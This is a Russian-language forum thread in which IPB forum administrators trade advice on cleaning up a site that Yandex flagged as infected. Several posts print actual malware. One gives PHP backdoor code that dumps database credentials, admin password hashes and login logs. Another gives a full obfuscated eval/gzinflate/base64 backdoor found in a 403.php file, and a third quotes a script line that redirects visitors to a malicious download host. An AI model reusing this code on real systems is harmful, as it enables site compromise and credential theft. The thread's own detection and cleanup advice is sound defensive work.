Перейти к публикации
Дизайн и модификация IPS Community IPBSkinsBETA
Поиск в
  • Дополнительно...
Искать результаты, содержащие...
Искать результаты в...
Karagor

Яндекс обнаружил вредоносный код на форуме

Рекомендованные сообщения

I do fresh install of ipb 3.4.7 in january

Поделиться сообщением


Ссылка на сообщение

Не могу понять, что происходит с форумом , Яша его заблокировал, лицензия - все патчи стоят, вирусов я не обнаружил, и на протяжении недели то разблокирует то заблокирует.

Результат выборочной проверки выпадают разные страницы.

 

Ссылка на зараженную страницу.

 

Айболита запустил, ждём.

Поделиться сообщением


Ссылка на сообщение

По логам одного форума, через бэкдор пытались выполнить такой код (интересные места):

 

Вывод всей информации о настройках базы данных (пользователь, пароль, префикс) и содержимого htaccess:

 

$out .= "---------------=-=pong1234321=-=--------------------------<br>\n";
$out .= "sql_host: {$INFO['sql_host']}<br>\n";
$out .= "sql_port: {$INFO['sql_port']}<br>\n";
$out .= "sql_database: {$INFO['sql_database']}<br>\n";
$out .= "sql_user: {$INFO['sql_user']}<br>\n";
$out .= "sql_pass: {$INFO['sql_pass']}<br>\n";
$out .= "sql_tbl_prefix: {$INFO['sql_tbl_prefix']}<br>\n";
$out .= "ACP: {$acp}<br>\n";
$out .= "htaccess: {$hta}<br>\n";
$out .= "htpasswd: {$htp}<br>\n";
$out .= "-----------------------------------------<br>\n";

Вывод администраторов (пользователей группы с доступом в АЦ):

 

while($row = mysql_fetch_assoc($res))
{
	$ag = intval($row['g_id']);
	$sql = "SELECT member_id,name,email,member_group_id,members_pass_hash,HEX(members_pass_salt)FROM {$INFO['sql_tbl_prefix']}members WHERE member_group_id={$ag} OR mgroup_others LIKE '%,{$ag},%' OR mgroup_others='{$ag}' OR mgroup_others LIKE '{$ag},%' OR mgroup_others LIKE '%,{$ag}' ORDER BY member_id ASC";

	$res2 = mysql_query($sql);
	if(!$res2)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row2 = mysql_fetch_assoc($res2))
	{
		$data = implode("|:|", $row2);
		$data = htmlentities($data);
		$out .= "$data<br>\n";
		$names[] = $row2['name'];
	}
}

Логи авторизации в АЦ:

 

foreach($names as $name)
{
	$hname = mysql_hex_encode($name);
	$sql = "SELECT admin_post_details,admin_time FROM {$INFO['sql_tbl_prefix']}admin_login_logs WHERE admin_success=1 AND admin_username=$hname ORDER BY admin_time DESC LIMIT 1";
	$res = mysql_query($sql);
	if(!$res)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row = mysql_fetch_assoc($res))
	{
		$data = implode("|:|", $row);
		$data = htmlentities($data);
		$out .= "{$name}|:|$data<br>\n";
	}
}

 

Логи авторизации видно нужны для того, чтобы расшифровать хеши паролей. По ним можно узнать длину пароля и последний символ.

 

Это еще раз говорит о том, что каждый раз после обнаружения вредоносного кода нужно менять все доступы администраторов на форуме и бд.

  • Upvote 1

Поделиться сообщением


Ссылка на сообщение

Ссылка на зараженную страницу.

Какой вердикт яндекса для этой страницы?

Поделиться сообщением


Ссылка на сообщение

Cайт содержит код, который может быть опасен для посетителей.В результатах поиска сайт выводится с предупреждающей пометкой.

 

Жму поведенческий анализ. - любой заражённой ссылки и попадаю

Поделиться сообщением


Ссылка на сообщение

Нашел айболит вирус, оч долго проверял. (AI-BOLIT-DOUBLECHECK.php)

 

Зараза сидела сайт/forum/public/403.php, и получалась, что все вложенные картинки заражены.

 

<?php $p0="";$p1="artemv_forum";$p2="m54946545";$p3="artemv_forum";$p4='../uploads';$F=__FILE__;
eval(gzinflate(base64_decode("dVVpj6JYFP0rToVpNVZaFheM4yQubIKCiAj29FRYHos89kWhUv99cKorqe7JfIDknXvPPfedkINTRlbhx1FH6yHc8Rnhj/1XRFiE5kteZBBEvQcyR3afEa5FnDjrIf4CnSP+H8iufQ8GLVFaIP7viDBHskWc2Y/Ob4j/vf/3vwe+PUjf22Hv6MLy2hFZf/6WgaLMok6Lz9+cj31Au5D1jASg7r+6MDYN2EHoZyR/RpLR/AcDVAbsuY0fOdAoQE/rmUYOJqMXG1ixDVp+/31AvxVBVEpeYHPf6fl5Dooe8sJQyrduBbK8let+7/dfgeXFnSf1Hek8CH9FT3Nw94v52yeeTB1O1LHl5r7d8r58+Q/0iuSLX8GH8oeBef9PfDzud9q2vDRbtIWesecH9mj7DUnQtpigiy6MLQN6cV505wj0o6Cz6IR1nsIXK44iYLXrJGjrCNY+eH/+XsoBbCsvttkWif4P3STOHyLdEXGxs+7jslrvyXBQ06zowMYZCi0Tes2s/WuRWmy48fZGRA6EdMYuxTMhJqu95o/pS53ZEg1Zk6uhPBb0eEiOM3t8a5cZLeFUU6tZFvi3dMBDQdTljYnnQhCiwzM/vVyZqeVU2OC88u/pmctolU69oShrsEQ9sdqvZWog2se0ckicUtyTEq8O071t3uTaBhyaRlTtWWmJTwHq6k2+DVELnVR1eYxUANOJscGFMTmsjIl4aUgzD5VhIozFqwaLZV1ciigf6rvbYvH0/NlybPz4NgDMwc82Mc7oQHzYxLo+4STcxhIyYsWBs0W6Ia9ywSTWAtMg7jgLtAl1p1Rcr2zdAeUtXpKENfK3Jrrkrs6uWR0I1bP5jerdTcUgCrbG5CYnhj4v6kxM69jhfoizEDphuXUHesMlgKsowp2a6xOljojzdGta68ow2DCf4JIa77VE8C7s9eDfY7ypKj25Ly/yutYFzJTP+PCu+mOWGKJXaonBWnVZWsRClJS33qAci/sTo0SVt2G3pAZpER7IYrWjDZz0Dvjt5I6uHLq7nZ0g2Hq5oYw2dC4JIz0OMG2PC6uaIAMAioZovMEyqCcHerIqxckRP8FiaDkXVdqnGUS5n6xG/9dq8zTdOB9WMzVqaJzNCFuvyK3teBeLkt2oQaO7x7qgK20Lio1F4s51Y9zzhM+g4mZ46OUXBY3xXbK2ZulawtC1zJT13VsXPFod7YgfaK64OokevAVj3WEUcd/wJYWO8FQglkdMZHFtK4HsnFrL2aG5cVsQzdBlpgQ7hcdQZ3vwuR0dUGpZygMN0xtPn4IslMLLmsEL0RV0rxx4xiy0rxcvtLZrm2B34XDNLA1yKOlSJsUS709OHkYz2QYGSerjFzzh5EiOITZwqRN7O18KvjGcRkIzMIAcugGaKpgbT2EsvZ5NeG0j80vdPxHQIW8hALdR6WrOLAPEeV/YBqxEsRwrihKzYiNelotf7CfwD/tf32MiLUFW97p+lIOs6PhREXf8xHyBsev2invR77ThWoK899T9+k7IgAFfQG4ZCXj8CvzI/QjR99T72n3qdz9CyIJx3ibwI7Na2bfOPw==")));

?>

Поделиться сообщением


Ссылка на сообщение
Зараза сидела сайт/forum/public/403.php

Такие примитивные бэкдоры можно искать даже без ай-болита.

 

find . -name '*.php' | xargs grep -inP '(eval|base64_decode|gzinflate)[ ]*\(' > ./result.txt

  • Upvote 1

Поделиться сообщением


Ссылка на сообщение

Та ссш недоступен. По запросу поиск сделали.

Поделиться сообщением


Ссылка на сообщение

Да, попытался запустить скрипт айболит, но что-то он вылетает в 504 Gateway Time-out.

Почитал у них на сайте ФАК, пошел запускать через SSH

 

Запустил, ждем-с 55к файлов...

 

Айболит медленный. И у меня тоже в 504 вываливается.

Есть аналог. fscure он пошустрее.

 

Сегодня столкнулся с этой же проблемой.

Чистка файла /cache/skin_cache/cache_%id/skin_global.php не помогла. Позавчера почистил, сегодня опять то же самое.

 

Накатил патчи на форум, жду.

Поделиться сообщением


Ссылка на сообщение

И не поможет. Прочитайте еще раз сообщения на этой, на предыдущей и на первой странице как правильно надо лечить форум от этой заразы - сто раз было сказано, что удалением кода вы устраняете следствие а не причину. Для эффективного лечения к задаче нужно подходить комплексно.

  • Upvote 1

Поделиться сообщением


Ссылка на сообщение

Та ссш недоступен. По запросу поиск сделали.

Я юзаю такой скрипт. Специально писал для таких случаев, когда нет ssh или нужен быстрый поиск по примитивным бэкдорам типа eval и тп. Быстро, дешево и сердито.

scan.php

  • Upvote 2

Поделиться сообщением


Ссылка на сообщение

Спасибо, сохранил. Какой принцип его работы, я так понимаю он запускается в строке браузера, а дальше. Какой будет вывод заражённых фалов.? нету живого проекта проверить.

Поделиться сообщением


Ссылка на сообщение

А-ля айболит, только без подсветки и прочих плюшек, тупо поиск по файлам и вывода найденной строки.

  • Upvote 1

Поделиться сообщением


Ссылка на сообщение

@kgb, я конечно за ссылок по теме безопасности, но там обсуждается одна политика Content Security нежели уязвимости с которыми столкнулись в IPB, а таких ссылок я могу привести сотнями. К конкретному случаю этой волны взломов ипб СSP ничем не поможет, ибо там отрабатывает локальный жаваскрипт и взлом происходит на уровне php скриптов:

 

print("document.location='http://filestore321.com/download.php?id={$m}'");

Content Security Policy подойдет для xss и всяких партнерских скриптов где могут подгружать все что угодно. Актуальность она получила из-за проблемы с google adwords'ом откуда через внедряемые скрипты в рекламе адсенса сливают трафик - тема уже довольно известная. Но ее еще нужно правильно настроить, да и вообще не грузить скрипты со всяких левых сайтов. У среднестатистического владельца IPB, обычно школьного возраста, целый зоопарк из счетчиков и всяких партнерок, а те чуть ли не в каждый месяц любят менять домен. И либо все это добро отвалится, либо владельцу придется следить за актуальностью политики.

Поделиться сообщением


Ссылка на сообщение

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

  • Сейчас на странице   0 пользователей

    Нет пользователей, просматривающих эту страницу.

×
×
  • Создать...